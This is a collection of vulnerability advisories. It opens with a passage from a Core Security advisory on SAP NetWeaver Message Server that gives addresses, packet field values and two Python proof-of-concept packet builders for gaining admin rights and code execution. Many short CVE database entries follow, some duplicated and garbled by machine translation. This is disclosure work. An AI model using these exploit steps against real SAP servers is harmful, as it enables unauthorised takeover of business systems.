_MsJ2EE_AddStatistics+1Br 00000000 ; _MsJ2EE_AddStatistics+2Fr ... 00000008 totalMsgLength dq ? ; XREF: _MsJ2EE_AddStatistics+192r 00000008 ; _MsJ2EE_AddStatistics+19Br ... 00000010 avgMsgLength dq ? ; XREF: _MsJ2EE_AddStatistics+1C2w 00000010 ; _MsJ2EE_AddStatistics+1C7w ... 00000018 maxLength dq ? ; XREF: _MsJ2EE_AddStatistics+161r 00000018 ; _MsJ2EE_AddStatistics+16Er ... 00000020 noP2PMessage dq ? ; XREF: _MsJ2EE_AddStatistics:loc_44D442w 00000020 ; _MsJ2EE_AddStatistics+158w ... 00000028 noP2PRequest dq ? ; XREF: _MsJ2EE_AddStatistics+144w 00000028 ; _MsJ2EE_AddStatistics+14Aw ... 00000030 noP2PReply dq ? ; XREF: _MsJ2EE_AddStatistics+132w 00000030 ; _MsJ2EE_AddStatistics+138w ... 00000038 noBroadcastMessage dq ? ; XREF: _MsJ2EE_AddStatistics:loc_44D40Dw 00000038 ; _MsJ2EE_AddStatistics+123w ... 00000040 noBroadcastRequest dq ? ; XREF: _MsJ2EE_AddStatistics+10Fw 00000040 ; _MsJ2EE_AddStatistics+115w ... 00000048 MSJ2EE_STAT_ELEMENT ends -----/ However, it is possible to use different combinations of the 'flag/iflag' values in the Message Server packet to gain more precision over the memory addresses that can be corrupted. Different combinations of 'flag/iflag' values provide different memory corruption primitives, as shown below: /----- At this point: * ESI points to an arbitrary, attacker-controlled memory address * EBX == 1 .text:0044D359 movzx eax, [ebp+msiflag] .text:0044D35D sub eax, 0Ch .text:0044D360 jz short loc_44D37C .text:0044D362 sub eax, ebx .text:0044D364 jnz short loc_44D39D .text:0044D366 cmp [ebp+msflag], 2 .text:0044D36A jnz short loc_44D374 .text:0044D36C add [esi+40h], ebx ; iflag=0xd, flag=2 => add 1 to [esi+0x40] .text:0044D36F adc [esi+44h], ecx .text:0044D372 jmp short loc_44D39D .text:0044D374 ; --------------------------------------------------------------------------- .text:0044D374 .text:0044D374 loc_44D374: ; CODE XREF: _MsJ2EE_AddStatistics+7Aj .text:0044D374 add [esi+38h], ebx ; iflag=0xd, flag=1 => add 1 to [esi+0x38] .text:0044D377 adc [esi+3Ch], ecx .text:0044D37A jmp short loc_44D39D .text:0044D37C ; --------------------------------------------------------------------------- .text:0044D37C .text:0044D37C loc_44D37C: ; CODE XREF: _MsJ2EE_AddStatistics+70j .text:0044D37C mov al, [ebp+msflag] .text:0044D37F cmp al, 3 .text:0044D381 jnz short loc_44D38B .text:0044D383 add [esi+30h], ebx ; iflag=0xc, flag=3 => add 1 to [esi+0x30] .text:0044D386 adc [esi+34h], ecx .text:0044D389 jmp short loc_44D39D .text:0044D38B ; --------------------------------------------------------------------------- .text:0044D38B .text:0044D38B loc_44D38B: ; CODE XREF: _MsJ2EE_AddStatistics+91j .text:0044D38B cmp al, 2 .text:0044D38D jnz short loc_44D397 .text:0044D38F add [esi+28h], ebx ; iflag=0xc, flag=2 => add 1 to [esi+0x28] .text:0044D392 adc [esi+2Ch], ecx .text:0044D395 jmp short loc_44D39D .text:0044D397 ; --------------------------------------------------------------------------- .text:0044D397 .text:0044D397 loc_44D397: ; CODE XREF: _MsJ2EE_AddStatistics+9Dj .text:0044D397 add [esi+20h], ebx ; iflag=0xc, flag=1 => add 1 to [esi+0x20] .text:0044D39A adc [esi+24h], ecx [...] -----/ And the following code excerpt is always executed within the '_MsJ2EE_AddStatistics' function, providing two more memory corruption primitives: /----- .text:0044D3B7 add [esi], ebx ;add 1 to [esi] .text:0044D3B9 adc dword ptr [esi+4], 0 .text:0044D3BD mov eax, [edi+MSJ2EE_HEADER.totallength] ;MSJ2EE_HEADER.totallength is fully controlled by the attacker .text:0044D3C0 cdq .text:0044D3C1 add [esi+8], eax ;add an arbitrary number to [esi+8] -----/ This memory corruption vulnerability can be used by remote unauthenticated attackers to execute arbitrary code on vulnerable installations of SAP Netweaver, but it can also be abused to modify the internal state of the vulnerable service in order to gain administrative privileges within the SAP Netweaver Message Server. A client connected to the Message Server may have administrative privileges or not. The Message Server holds a structure of type 'MSADM_s' for each connected client, which contains information about that very connection. Relevant parts of the 'MSADM_s' struct type are shown below: /----- 00000000 MSADM_s struc ; (sizeof=0x538, standard type) 00000000 ; XREF: .data:dummy_clientr 00000000 client_type dd ? ; enum MS_CLIENT_TYPE 00000004 stat dd ? ; enum MS_STAT 00000008 connection_ID dd ? 0000000C status db ? 0000000D dom db ? ; XREF: MsSFillCon+3Cw 0000000E admin_allowed db ? 0000000F db ? ; undefined 00000010 name dw 40 dup(?) [...] 00000534 _padding db 4 dup(?) 00000538 MSADM_s ends -----/ The 'admin_allowed' field at offset 0x0E is a boolean value that indicates whether the connected client has administrative privileges or not. When a new client connects, the 'MsSLoginClient' function of the Message Server sets the proper value for the 'admin_allowed' field in the 'MSADM_s' struct instance associated with that client: /----- .text:004230DC loc_4230DC: ; CODE XREF: MsSLoginClient+AAAj .text:004230DC ; MsSLoginClient+B26j .text:004230DC cmp byte ptr [edi+0Eh], 0 ; privileged client? .text:004230E0 jnz short loc_4230EA ; if yes, jump .text:004230E2 mov al, byte ptr ms_admin_allowed ; otherwise, grab the value of the "ms_admin_allowed" global variable... .text:004230E7 mov [edi+0Eh], al ; ...and save it to MSADM_s.admin_allowed -----/ So if we manage to overwrite the value of the 'ms_admin_allowed' global variable with a value different than 0, then we can grant administrative privileges to our unprivileged connections. In SAP Netweaver 'msg_server.exe' v7200.70.18.23869, the 'ms_admin_allowed' global variable is located at '0x008f17f0': /----- .data:008F17F0 ; int ms_admin_allowed .data:008F17F0 ms_admin_allowed dd ? ; DATA XREF: MsSSetMonitor+7Ew .data:008F17F0 ; MsSLoginClient+B62r -----/ And the 'j2ee_stat_services' global array, which is the array that can be indexed outside its bounds, is located at '0x0090b9e0': /----- .data:0090B9E0 ; MSJ2EE_STAT_ELEMENT j2ee_stat_services[256] .data:0090B9E0 j2ee_stat_services MSJ2EE_STAT_ELEMENT 100h dup(<?>) .data:0090B9E0 ; DATA XREF: _MsJ2EE_AddStatistics+24o .data:0090B9E0 ; _MsJ2EE_AddStatistics+4Co ... -----/ So, by providing 'MSJ2EE_HEADER.serviceid == 0x038E3315', we will be targeting '0x008F17C8' as the base address for memory corruption. Having in mind the different memory corruption primitives based on combinations of 'flag/iflag' fields described above, by specifying 'iflag == 0xC' and 'flag == 0x2' in our Message Server packet we will be able to add 1 to '[0x008F17C8+0x28]', effectively overwriting the contents of '0x008F17F0' ('ms_admin_allowed'). After overwriting 'ms_admin_allowed', all of our future connections will have administrative privileges within the Message Server. After gaining administrative privileges for our future connections, there are at least two possible paths of exploitation: 1. Of course it is not mandatory to have administrative privileges in order to overwrite function pointers, but considering the limitation of targetable addresses imposed by the little granularity of the memory corruption, some of the most handy-to-exploit function pointers happened to be accessible just for administrative connections. 2. Modify the configuration and behavior of the server. That includes changing Message Server's runtime parameters and enabling Monitor Mode in the affected server. 8.1.1. *Gaining remote code execution by overwriting function pointers* Having in mind that the granularity of the memory addresses that can be targeted for memory corruption is not that flexible (0x48 bytes) and the limited memory corruption primitives available, it takes some effort to find a function pointer that can be overwritten with a useful value and which can be later triggered with a network packet. One possibility is to overwrite one of the function pointers which are in charge of handling the modification of Message Server parameters: /----- .data:0087DED0 ; SHMPRF_CHANGEABLE_PARAMETER ms_changeable_parameter[58] ; function pointers associated to the modification of the "ms/max_sleep" parameter .data:0087DED0 ms_changeable_parameter SHMPRF_CHANGEABLE_PARAMETER <offset aMsMax_sleep, \ .data:0087DED0 offset MsSTestInteger, \ ; "rdisp/TRACE_PATTERN_2" .data:0087DED0 offset MsSSetMaxSleep> ; function pointers associated to the modification of the "ms/max_vhost" parameter .data:0087DED0 SHMPRF_CHANGEABLE_PARAMETER <offset aMsMax_vhost, \ .data:0087DED0 offset MsSTestInteger, \ ;<-- we can overwrite this one .data:0087DED0 offset MsSSetMaxVirtHost> [...] -----/ By providing 'MSJ2EE_HEADER.serviceid == 0x038E1967' we can target '0x0087DED8' as the base address for memory corruption. In this case we can use the memory corruption primitive at address '0x0044D3C1' that always gets executed, which will allow us to add an arbitrary number (the value of 'MSJ2EE_HEADER.totallength') to '[0x0087DED8+8]' effectively overwriting the function pointer shown above ('ms_changeable_parameter[1].set'). After that we need to send a 'MS_SET_PROPERTY' request, specifying 'ms/max_vhost' as the name of the property to be changed. This 'MS_SET_PROPERTY' packet will make our overwritten function pointer to be called from the 'MsSChangeParam' function: /----- .text:00404DB3 loc_404DB3: ; CODE XREF: MsSChangeParam+CDj .text:00404DB3 lea esi, [edi+edi*2] .text:00404DB6 mov edi, [ebp+pvalue] .text:00404DB9 add esi, esi .text:00404DBB mov edx, ms_changeable_parameter.test[esi+esi] .text:00404DC2 add esi, esi .text:00404DC4 push edi .text:00404DC5 push pname .text:00404DC6 call edx ; call our overwritten function pointer -----/ 'MS_SET_PROPERTY' packets will be ignored by the Message Server if the requesting client does not have administrative privileges, so it is necessary to gain administrative privileges as explained above before using the memory corruption vulnerability to overwrite one of the function pointers in the 'ms_changeable_parameter' global array. 8.1.2. *Modify the configuration and behavior of the server* After gaining administrative privileges for our connections, it is possible to perform 'MS_SET_PROPERTY' packets against the Message Server in order to modify its configuration and behavior. That makes possible, for example, to add virtual hosts to the load balancer, or to enable Monitor Mode [3] (transaction SMMS) on the affected server. Enabling Monitor Mode takes two steps: 1. Send a 'MS_SET_PROPERTY' packet with property 'name == "ms/monitor"', property 'value == 1'. 2. Send a 'MS_SET_PROPERTY' packet with property 'name == "ms/admin_port"', property 'value == 3535' (or any other arbitrary port number). After sending the second 'MS_SET_PROPERTY' packet, the SAP Netweaver Message Server will start listening on the specified port, waiting for connections from instances of the msmon.exe monitoring program [4]. The following python code can be used to trigger the vulnerability: /----- def send_attack(connection): print "[*] Sending crash packet" crash = '**MESSAGE**\x00' # eyecatcher crash+= '\x04' # version crash+= '\x00' # errorno crash+= server_name # toname crash+= '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' # msgtype/reserved/key crash+= '\x04\x0d' # flag/iflag crash+= client_string # fromname crash+= '\x00\x00' # padd crash+= "ABCDEFGH"+"\x01\x00\x00\x00"+"MNOPQRSTUVWXYZ0123"+"\x01"+"56789abcd" crash+= "\x00\x00\x00\x01" crash+= "\xff\xff\xff\xff" crash+= "\x00\x00\x00\x00" send_packet(connection, crash) print "[*] Crash sent !" -----/ 8.2. Malicious packets are processed by the vulnerable function 'WRITE_C' in the 'msg_server.exe' module. The following python code can be used to trigger the vulnerability: /----- def send_attack(connection): print "[*] Sending crash packet" crash = '**MESSAGE**\x00' # eyecatcher crash+= '\x04' # version crash+= '\x00' # errorno crash+= server_name # toname crash+= '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' # msgtype/reserved/key crash+= '\x04\x05' # flag/iflag crash+= client_string # fromname crash+= '\x00\x00' # padd crash+= "AD-EYECATCH\x00" crash+= "\x01\x01" crash+= "%11d" % 104 crash+= "%11d" % 1 crash+= "\x15\x00\x00\x00" crash+= "\x20\x00\x00\xc8" crash+= "LALA" + ' '*(20-4) crash+= "LOLO" + ' '*(40-4) crash+= " "*36 send_packet(connection, crash) print "[*] Crash sent !" -----/ 9. *Report Timeline* . 2012-12-10: Core Security Technologies notifies the SAP team of the vulnerability, setting the estimated publication date of the advisory for January 22nd, 2013. 2012-12-10: Core sends an advisory draft with technical details and a PoC. 2012-12-11: The SAP team confirms the reception of the issue. 2012-12-21: SAP notifies that they concluded the analysis of the reported issues and confirms two out of the five vulnerabilities. Vendor also notifies that the other three reported issues were already fixed in February, 2012. Vendor also notifies that the necessary code changes are being done and extensive tests will follow. The corresponding security note and patches are planned to be released on the Security Patch Day in Feb 12th 2013. 2012-12-21: Core re-schedules the advisory publication for Feb 12th, 2013. 2012-12-28: SAP notifies Core that they will be contacted if tests fails in order to re-schedule the advisory publication. 2013-01-22: First release date missed. 2013-01-28: SAP notifies that they are still confident with releasing a security note and patches on Feb 12th as planned. 2013-01-29: Core acknowledges receiving the information and notifies that everything is ready for public disclosing on Feb 12th. Core also asks additional information regarding the patched vulnerabilities mentioned in [2012-12-21], including links to security bulletin, CVEs, and patches in order to verify if those patches effectively fix the reported flaws. 2013-02-01: SAP notifies that the patched vulnerabilities mentioned in [2012-12-21] were reported in [5] and no CVE were assigned to them. Those vulnerabilities seems to be related to ZDI advisories [6], [7], [8]. 2013-02-06: Core notifies that the patched vulnerabilities will be removed from the advisory and asks additional information regarding the affected and patched version numbers. 2013-02-01: SAP notifies that the security note 1800603 will be released and that note will provide further information regarting this vulnerability. 2013-02-13: Advisory CORE-2012-1128 published. 10. *References* [1] http://www.sap.com/platform/netweaver/index.epx. [2] SAP Security note Feb 2013 https://service.sap.com/sap/support/notes/1800603. [3] http://help.sap.com/saphelp_nw70ehp2/helpdata/en/47/bdc344cc104231e10000000a421937/content.htm. [4] http://help.sap.com/saphelp_nw70ehp2/helpdata/en/47/c2e782b8fd3020e10000000a42189d/frameset.htm. [5] SAP Security notes Feb 2012 https//service.sap.com/sap/support/notes/1649840. [6] http://www.zerodayinitiative.com/advisories/ZDI-12-104/. [7] http://www.zerodayinitiative.com/advisories/ZDI-12-111/. [8] http://www.zerodayinitiative.com/advisories/ZDI-12-112/. 11. *About CoreLabs* CoreLabs, the research center of Core Security Technologies, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: http://corelabs.coresecurity.com. 12. *About Core Security Technologies* Core Security Technologies enables organizations to get ahead of threats with security test and measurement solutions that continuously identify and demonstrate real-world exposures to their most critical assets. Our customers can gain real visibility into their security standing, real validation of their security controls, and real metrics to more effectively secure their organizations. Core Security's software solutions build on over a decade of trusted research and leading-edge threat expertise from the company's Security Consulting Services, CoreLabs and Engineering groups. Core Security Technologies can be reached at +1 (617) 399-6980 or on the Web at: http://www.coresecurity.com. 13. *Disclaimer* The contents of this advisory are copyright (c) 2012 Core Security Technologies and (c) 2012 CoreLabs, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/ 14. *PGP/GPG Keys* This advisory has been signed with the GPG key of Core Security Technologies advisories team, which is available for download at http://www.coresecurity.com/files/attachments/core_security_advisories.asc. -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 ZDI-12-104 : SAP Netweaver ABAP msg_server.exe Parameter Value Remote Code Execution Vulnerability http://www.zerodayinitiative.com/advisories/ZDI-12-104 June 27, 2012 - -- CVE ID: - -- CVSS: 10, AV:N/AC:L/Au:N/C:C/I:C/A:C - -- Affected Vendors: SAP - -- Affected Products: SAP NetWeaver - -- TippingPoint(TM) IPS Customer Protection: TippingPoint IPS customers have been protected against this vulnerability by Digital Vaccine protection filter ID 12407. - -- Vendor Response: SAP has issued an update to correct this vulnerability. More details can be found at: http://www.sdn.sap.com/irj/sdn/index?rid=/webcontent/uuid/c05604f6-4eb3-2d1 0-eea7-ceb666083a6a#section40 - -- Disclosure Timeline: 2011-10-28 - Vulnerability reported to vendor 2012-06-27 - Coordinated public release of advisory - -- Credit: This vulnerability was discovered by: * e6af8de8b1d4b2b6d5ba2610cbf9cd38 - -- About the Zero Day Initiative (ZDI): Established by TippingPoint, The Zero Day Initiative (ZDI) represents a best-of-breed model for rewarding security researchers for responsibly disclosing discovered vulnerabilities. Researchers interested in getting paid for their security research through the ZDI can find more information and sign-up at: http://www.zerodayinitiative.com The ZDI is unique in how the acquired vulnerability information is used. Instead, upon notifying the affected product vendor, TippingPoint provides its customers with zero day protection through its intrusion prevention technology. Explicit details regarding the specifics of the vulnerability are not exposed to any parties until an official vendor patch is publicly available. Furthermore, with the altruistic aim of helping to secure a broader user base, TippingPoint provides this vulnerability information confidentially to security vendors (including competitors) who have a vulnerability protection or mitigation product. Our vulnerability disclosure policy is available online at: http://www.zerodayinitiative.com/advisories/disclosure_policy/ Follow the ZDI on Twitter: http://twitter.com/thezdi -----BEGIN PGP SIGNATURE----- Version: PGP Desktop 10.2.0 (Build 1950) Charset: utf-8 wsBVAwUBT+spXFVtgMGTo1scAQLsaAf7BDBhaaXu2xrm0nKo4KXmCuA091M40I4t uAkVEE7Zb4eFCtth3tsGSExGqDJp5LKfMe+KNfXUHMWcju+khxep8qfwxhnrtK2E 1doQXQmrqCJunJLKwReEa5MpcZGsYyantq0kCczWf5ZYlzLEsSk51GEYfvHx7WrR XFTr4krClMcDxi9nOxNDr/CqqGxxQlDgBsMD3EyzVQ92PBG8kTZHUAJwBPqh7Ku3 JqBWzVKDVVEsGxe7dlG4fXKIaDlCHaHJmsAr7+1Uw/DmfDOaTQMLRLvdGHY9Vpm6 wGIQD/1eAW66eLSBOeWXiRNHcorXRwu/SxQP8zIESkmWLZwKfZqbMA== =t/ct -----END PGP SIGNATURE-----
var-201208-0222 Multiple stack-based buffer overflows in msg_server.exe in SAP NetWeaver ABAP 7.x allow remote attackers to cause a denial of service (crash) and execute arbitrary code via a (1) long parameter value, (2) crafted string size field, or (3) long Parameter Name string in a package with opcode 0x43 and sub opcode 0x4 to TCP port 3900. This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of SAP Netweaver ABAP. Authentication is not required to exploit this vulnerability. The specific flaw exists within the msg_server.exe listening on 3900 by default. When the msg_server parses a message with opcode 0x43 and sub-opcode 0x04 it uses a user suplied size field to copy a string into a static sized stack buffer. The resulting buffer overflow can lead to remote code execution under the context of the process. Authentication is not required to exploit this vulnerability.The specific flaw exists within the way SAP NetWeaver handles packages with opcode 0x43. SAP NetWeaver has a defect in the message with the opcode 0x43. SAP NetWeaver is the technical foundation for SAP Business Suite solutions, SAP xApps composite applications, partner solutions, and custom applications. Msg_server.exe listens to port 3900 by default. Arbitrary code. NetWeaver ABAP is prone to a denial-of-service vulnerability
var-202108-1148 An access issue was addressed with improved access restrictions. This issue is fixed in macOS Monterey 12.0.1. A malicious application may be able to access local users' Apple IDs. apple's macOS Exists in unspecified vulnerabilities.Information may be obtained. ** REJECT ** DO NOT USE THIS CANDIDATE NUMBER. ConsultIDs: none. Reason: This candidate was withdrawn by the CVE program. Notes: none
var-200202-0006 Vulnerabilities in a large number of SNMP implementations allow remote attackers to cause a denial of service or gain privileges via SNMPv1 trap handling, as demonstrated by the PROTOS c06-SNMPv1 test suite. NOTE: It is highly likely that this candidate will be SPLIT into multiple candidates, one or more for each vendor. This and other SNMP-related candidates will be updated when more accurate information is available. Multiple vendor SNMPv1 Trap handling implementations contain vulnerabilities that may allow unauthorized privileged access, denial-of-service conditions, or unstable behavior . If your site uses SNMP in any capacity, the CERT/CC encourages you to read the information provided below. ------------ This vulnerability information is a summary of multiple vulnerabilities released at the same time. Please note that the contents of vulnerability information other than the title are included. ------------ SNMP Protocol is status and performance information MIB (Management Information Base) Protocol used to exchange Management side SNMP Managers such as managed routers, switches and printers SNMP Communicates with management network devices called agents. Because of its wide acceptance in the market, SNMP Has become the standard for SNMP protocol version1 Is SNMPv1 Is the most widely implemented. this SNMPv1 Sent from the agent to the manager in the implementation of SNMP Trap message and sent from the manager to the agent SNMP Decrypt the request message / There are problems in interpreting. If this problem is used by an attacker, the following actions may be executed. Many other programs that you implement may also be affected because of a protocol problem. On the target host SNMP If the service is running, an attacker could execute arbitrary code ・ If a buffer overflow attack is feasible and a very long trap message SNMP If the host on which the service is running receives, the application may go into a denial of service state The effects described above vary from application to application. For details, refer to each product.Please refer to the “Overview” for the impact of this vulnerability. Windows 95 is prone to a denial-of-service vulnerability. MPE/iX is an Internet-ready operating system for the HP e3000 class servers. It is possible to crash the service by transmitting to it a maliciously constructed SNMPv1 request PDU. It was previously known as UCD-SNMP. They typically notify the manager that some event has occured or otherwise provide information about the status of the agent. Multiple vulnerabilities have been discovered in a number of SNMP implementations. The vulnerabilities are known to exist in the process of decoding and interpreting SNMP trap messages. Among the possible consequences are denial of service and allowing attackers to compromise target systems. These depend on the individual vulnerabilities in each affected product. HP has confirmed that large traps will cause OpenView Network Node Manager to crash. This may be due to an exploitable buffer overflow condition
var-202007-0395 Advantech iView, versions 5.6 and prior, contains multiple SQL injection vulnerabilities that are vulnerable to the use of an attacker-controlled string in the construction of SQL queries. An attacker could extract user credentials, read or modify information, and remotely execute code. Advantech iView Has SQL An injection vulnerability exists.Information is obtained, information is tampered with, and service is disrupted (DoS) It may be put in a state. This vulnerability allows remote attackers to disclose sensitive information on affected installations of Advantech iView. Authentication is not required to exploit this vulnerability.The specific flaw exists within the NetworkServlet servlet. The issue results from the lack of proper validation of a user-supplied string before using it to construct SQL queries. An attacker can leverage this vulnerability to disclose stored credentials, leading to further compromise
var-201805-1147 WPLSoft in Delta Electronics versions 2.45.0 and prior utilizes a fixed length heap buffer where a value larger than the buffer can be read from a file into the buffer, causing the buffer to be overwritten, which may allow remote code execution or cause the application to crash. Delta Electronics WPLSoft Contains a buffer error vulnerability.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Delta Industrial Automation WPLSoft. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.The specific flaw exists within the parsing of dvp files. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a fixed-length heap-based buffer. An attacker can leverage this vulnerability to execute arbitrary code under the context of the current process. Delta Industrial Automation is the industry automation vendor for power management and cooling solutions worldwide. The length of the data provided by the user is not verified. WPLSoft (Delta PLC programming software) is a PLC program programming software used by Delta Electronics in the WINDOWS operating system environment. Delta Electronics WPLSoft has a heap buffer overflow vulnerability. Execute or cause the application to crash. A stack-based buffer-overflow vulnerability 2. A heap-based buffer-overflow vulnerability 3. Delta Industrial WPLSoft Version 2.45.0 and prior versions are vulnerable
var-201902-0647 LCDS Laquis SCADA prior to version 4.1.0.4150 allows execution of script code by opening a specially crafted report format file. This may allow remote code execution, data exfiltration, or cause a system crash. Script embedded in a crafted file can create files in arbitrary locations using the Ini.WriteString method. This vulnerability allows remote attackers to disclose sensitive information on vulnerable installations of LAquis SCADA Software. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.The specific flaw exists within the processing of the Memory.Integer method. The issue results from the lack of proper validation of a user-supplied value prior to dereferencing it as a pointer. An attacker can leverage this in conjunction with other vulnerabilities to execute code in the context of the aq process. LAquis SCADA is a suite of SCADA software for monitoring and data acquisition
var-201908-0863 Rockwell Automation Arena Simulation Software versions 16.00.00 and earlier contain a USE AFTER FREE CWE-416. A maliciously crafted Arena file opened by an unsuspecting user may result in the application crashing or the execution of arbitrary code. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.The specific flaw exists within the processing of project files. The issue results from the lack of validating the existence of an object prior to performing operations on the object. An attacker can leverage this vulnerability to execute code in the context of the current process. 9502-Ax) 16.00.00 and earlier versions have resource management error vulnerabilities. 9502-Ax) version 16.00.00 and earlier
var-201912-0120 A memory corruption issue was addressed with improved validation. This issue is fixed in Xcode 11.2. Processing a maliciously crafted file may lead to arbitrary code execution. apple's Xcode Exists in an out-of-bounds write vulnerability.Information is obtained, information is tampered with, and service operation is interrupted. (DoS) It may be in a state. Apple Xcode is an integrated development environment provided by Apple (Apple) to developers. It is mainly used to develop applications for Mac OS X and iOS. LLVM (Low Level Virtual Machine) is a framework system of a framework compiler (compiler) developed by the LLVM team. A security vulnerability exists in LLVM components in versions of Apple Xcode prior to 11.2. -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 APPLE-SA-2019-11-01-1 Xcode 11.2 Xcode 11.2 addresses the following: llvm Available for: macOS Mojave 10.14.4 and later Impact: Processing a maliciously crafted file may lead to arbitrary code execution Description: A memory corruption issue was addressed with improved validation. CVE-2019-8800: Pan ZhenPeng of Qihoo 360 Nirvan Team CVE-2019-8806: Pan ZhenPeng of Qihoo 360 Nirvan Team Installation note: Xcode 11.2 may be obtained from: https://developer.apple.com/xcode/downloads/ To check that the Xcode has been updated: * Select Xcode in the menu bar * Select About Xcode * The version after applying this update will be "11.2". Information will also be posted to the Apple Security Updates web site: https://support.apple.com/kb/HT201222 This message is signed with Apple's Product Security PGP key, and details are available at: https://www.apple.com/support/security/pgp/ -----BEGIN PGP SIGNATURE----- iQIzBAEBCAAdFiEEM5FaaFRjww9EJgvRBz4uGe3y0M0FAl27tlwACgkQBz4uGe3y 0M3xfA/6Ar1hsMVC9/i7vbHnKFv1nSo5k3dgl3t6UepPM2HW7YR9ngxKXW6r95DB hH9TELVnvluC15EfXbsB+OhcgIxCc8EJYvAs4Y+n34VL/A03WyIDaYB7/TO8NLaL Wh5O7/unhEijj+HhTiveS6x7Fimyw7WzVmLJvIoAN8EBXtvfWTA/VywAgHuX/aVB 2fdMOHDsVUI3a8SBzTSiHs6BM27TCoKx+FI3Ad+yABmxj+SykCfDcFOtxsyFhiBh m6fIPweMxXtKc3tZPQYLtu05UPoBlOclNiAbBt5I7jdd9uNekjLQFaMf+D+gGGZI BIILI1dCg+dQeDKPeMJsdSpcMqqyUvGfTzYW7JNQsGM1LFvS+8e7SLoCKJuIgosK dMkuK/kg05vOGgq6qFyGn/vDDXqoVpbFq+HN6tNU5i0ni8Y5vuE8ecttUJA6XTiA fF7U6AeSxQov5HS9RW8UzyCUktpPtiRuUYr3QWRpEoPsuWiPqvEprHe0FS+tJh3h Zkz42DV8gD5gogakX1oJpX+CTZa725WusiuFs0bdCkougssrGYaRnMe+YL7/Z6ej pAvNOGe4GesS0COGxkXgFK0w6VIC+SGVNdXkCudaYS+C4rklclVmXulKTavldUos D7ebNEuHgE2/H66H0A1zZf4YDP4KqVb/j2T15wiA4uYiU67jN94= =KAxM -----END PGP SIGNATURE-----
var-201912-0114 A memory corruption issue was addressed with improved validation. This issue is fixed in Xcode 11.2. Processing a maliciously crafted file may lead to arbitrary code execution. apple's Xcode Exists in an out-of-bounds write vulnerability.Information is obtained, information is tampered with, and service operation is interrupted. (DoS) It may be in a state. Apple Xcode is an integrated development environment provided by Apple (Apple) to developers. It is mainly used to develop applications for Mac OS X and iOS. A security vulnerability exists in LLVM components in versions of Apple Xcode prior to 11.2. -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 APPLE-SA-2019-11-01-1 Xcode 11.2 Xcode 11.2 addresses the following: llvm Available for: macOS Mojave 10.14.4 and later Impact: Processing a maliciously crafted file may lead to arbitrary code execution Description: A memory corruption issue was addressed with improved validation. CVE-2019-8800: Pan ZhenPeng of Qihoo 360 Nirvan Team CVE-2019-8806: Pan ZhenPeng of Qihoo 360 Nirvan Team Installation note: Xcode 11.2 may be obtained from: https://developer.apple.com/xcode/downloads/ To check that the Xcode has been updated: * Select Xcode in the menu bar * Select About Xcode * The version after applying this update will be "11.2". Information will also be posted to the Apple Security Updates web site: https://support.apple.com/kb/HT201222 This message is signed with Apple's Product Security PGP key, and details are available at: https://www.apple.com/support/security/pgp/ -----BEGIN PGP SIGNATURE----- iQIzBAEBCAAdFiEEM5FaaFRjww9EJgvRBz4uGe3y0M0FAl27tlwACgkQBz4uGe3y 0M3xfA/6Ar1hsMVC9/i7vbHnKFv1nSo5k3dgl3t6UepPM2HW7YR9ngxKXW6r95DB hH9TELVnvluC15EfXbsB+OhcgIxCc8EJYvAs4Y+n34VL/A03WyIDaYB7/TO8NLaL Wh5O7/unhEijj+HhTiveS6x7Fimyw7WzVmLJvIoAN8EBXtvfWTA/VywAgHuX/aVB 2fdMOHDsVUI3a8SBzTSiHs6BM27TCoKx+FI3Ad+yABmxj+SykCfDcFOtxsyFhiBh m6fIPweMxXtKc3tZPQYLtu05UPoBlOclNiAbBt5I7jdd9uNekjLQFaMf+D+gGGZI BIILI1dCg+dQeDKPeMJsdSpcMqqyUvGfTzYW7JNQsGM1LFvS+8e7SLoCKJuIgosK dMkuK/kg05vOGgq6qFyGn/vDDXqoVpbFq+HN6tNU5i0ni8Y5vuE8ecttUJA6XTiA fF7U6AeSxQov5HS9RW8UzyCUktpPtiRuUYr3QWRpEoPsuWiPqvEprHe0FS+tJh3h Zkz42DV8gD5gogakX1oJpX+CTZa725WusiuFs0bdCkougssrGYaRnMe+YL7/Z6ej pAvNOGe4GesS0COGxkXgFK0w6VIC+SGVNdXkCudaYS+C4rklclVmXulKTavldUos D7ebNEuHgE2/H66H0A1zZf4YDP4KqVb/j2T15wiA4uYiU67jN94= =KAxM -----END PGP SIGNATURE-----
var-202305-1589 D-Link DIR-2150 SetSysEmailSettings EmailTo Command Injection Remote Code Execution Vulnerability. This vulnerability allows network-adjacent attackers to execute arbitrary code on affected installations of D-Link DIR-2150 routers. Although authentication is required to exploit this vulnerability, the existing authentication mechanism can be bypassed. The specific flaw exists within the SOAP API interface, which listens on TCP port 80 by default. The issue results from the lack of proper validation of a user-supplied string before using it to execute a system call. An attacker can leverage this vulnerability to execute code in the context of root. Was ZDI-CAN-20559. D-Link DIR-2150 is a wireless router from D-Link, a Chinese company
var-202407-0235 Delta Electronics CNCSoft-G2 lacks proper validation of user-supplied data, which can result in a read past the end of an allocated buffer. If a target visits a malicious page or opens a malicious file an attacker can leverage this vulnerability to execute code in the context of the current process. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Delta Electronics CNCSoft-G2. Delta Electronics CNCSoft-G2 is a human-machine interface (HMI) software from Delta Electronics, a Chinese company
